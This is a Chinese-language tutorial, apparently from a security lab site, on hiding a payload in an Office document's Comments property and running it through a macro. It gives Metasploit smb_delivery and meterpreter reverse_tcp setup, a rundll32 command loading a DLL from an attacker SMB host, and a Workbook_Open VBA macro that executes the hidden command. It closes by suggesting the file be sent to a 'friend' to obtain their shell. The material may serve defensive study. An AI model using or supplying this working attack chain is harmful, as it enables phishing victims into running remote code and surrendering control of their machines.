Microsoft Office相信大家都用过。Office在文档中嵌入对象极大的方便了我们的日常使用,但同时也为我们带来了众多安全问题。可以说,Office文档为攻击者提供了各种方法来诱骗受害者运行任意代码。当然,攻击者也可能会尝试利用Office漏洞,但更常见的情况是,攻击者会向受害者发送包含恶意宏或嵌入式(Packager)可执行文件的Office文档。
在本文中,我将向大家介绍一种apt常用的攻击手法,利用Office文档属性执行payload
首先在msf执行以下代码,设置我们攻击的payload
use exploit/windows/smb/smb_delivery
set PAYLOAD windows/meterpreter/reverse_tcp
生成payload
rundll32.exe \\192.168.65.130\Npxy\test.dll,0
利用这个项目将payload植入文档属性中
Invoke-Commentator -OfficeFile .\test.xlsx -Comment "rundll32.exe \\192.168.65.130\Npxy\test.dll,0" The new file with added comment has been written to .\test-wlc.xlsx.
如图:
将payload 植入文档中的注释部分
我们来看看新建的文档的属性,可以看到我们刚才的payload成功植入
要想成功将属性的代码执行,我们还要添加一个宏代码将恶意代码执行
为文档添加一个宏,将以下代码粘贴
Sub Workbook_Open()
Dim p As DocumentProperty
For Each p In ActiveWorkbook.BuiltinDocumentProperties
If p.Name = "Comments" Then
Shell (p.Value)
End If
Next
End Sub
除了这里使用的xlsx文件,你也可以使用Word,PowerPoint,在这里给出代码
Word
Dim prop As DocumentProperty
For Each prop In ActiveDocument.BuiltInDocumentProperties
If prop.Name = "Comments" Then
MsgBox prop.Value
End If
Next
Excel
Dim prop As DocumentProperty
For Each prop In ActiveWorkbook.BuiltinDocumentProperties
If prop.Name = "Comments" Then
MsgBox prop.Value
End If
Next
PowerPoint
Dim prop As DocumentProperty
For Each prop In ActivePresentation.BuiltInDocumentProperties
If prop.Name = "Comments" Then
MsgBox prop.Value
End If
Next
为了通过Workbook_Open()函数利用自动执行,需要将武器化的MS Excel文档降级为Office 98 - 2003兼容性(.xls)。
这样一个完整的恶意office文档就完成了,发给小伙伴试试
小伙伴收到文件,双击打开,提示要启动宏才可以,于是点开了启用宏.....
然后,我们就可以收到小伙伴电脑的shell了
本文只是简单介绍方法、抛砖引玉,当然还有很多可以优化改进的地方,大家可再完善。
相关实验:Microsoft_PowerPoint宏攻击 (点击前往合天网安实验室开始学习操作哦)